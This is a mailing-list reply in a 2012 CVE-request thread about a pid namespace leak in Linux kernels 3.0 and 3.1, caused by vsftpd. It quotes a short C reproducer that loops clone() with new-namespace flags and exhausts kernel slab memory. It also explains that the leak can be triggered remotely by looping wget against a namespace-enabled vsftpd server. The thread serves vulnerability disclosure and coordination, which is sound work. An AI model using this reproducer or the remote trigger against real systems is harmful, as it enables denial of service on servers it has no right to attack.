Re: CVE request: pid namespace leak in kernel 3.0 and 3.1

[Marcus Meissner <meissner () suse de>]

On Thu, Apr 19, 2012 at 09:09:55PM -0600, Kurt Seifried wrote:
> On 04/19/2012 03:48 PM, Marcus Meissner wrote:
> > Hi,
> >
> > we had a user, Vadim Ponomarev (ccrssaa at karelia.ru),  report a
> > pid namespace leak caused by vsftpd.
> >
> > https://bugzilla.novell.com/show_bug.cgi?id=757783
> >
> > He provided a simple reproducer:
> >
> > #include <stdio.h> #include <errno.h> #include <signal.h> #include
> > <sched.h> #include <linux/sched.h> #include <unistd.h> #include
> > <sys/syscall.h>
> >
> > int main(int argc, char *argv[]) { int i, ret;
> >
> > for (i = 0; i < 10000; i++) {
> >
> > if (0 == (ret = syscall(__NR_clone, CLONE_NEWPID | CLONE_NEWIPC | 
> > CLONE_NEWNET | SIGCHLD, NULL))) return 0;
> >
> > if (-1 == ret) { perror("clone"); break; }
> >
> > } return 0; }
> >
> >
> > and checking "cat /proc/slabinfo|grep pid_namespace" gives 10000
> > more active slots after running it on 3.0.13 (+SUSE patches) and
> > 3.1.10 (+SUSE patches).
> >
> >
> > Running this on 3.2.0 (+SUSE Patches) did not result in more slots,
> > so it was probably fixed between 3.1 and 3.2 (but someone else
> > cross check perhaps).
> >
> > Any idea welcome on which patch fixed this, I tried
> > 1b26c9b334044cff6d1d2698f2be41bc7d9a0864 but it seems not helping.
> >
> > Ciao, Marcus
>
> Can this be triggered by a non privileged user/process? Eugene
> mentions that CAP_SYS_ADMIN seems to be required, if so it seems like
> there isn't much of a trust boundary violation going on (anyone/thing
> with CAP_SYS_ADMIN is already in pretty good).

The above code ... no.

However, vsftpd has this code pattern in its newer namespace enabled
versions.

So it can be triggered via a namespace enabled vsftpd remotely,
by just running wget on even anonymous areas in a loop.

Ciao, Macus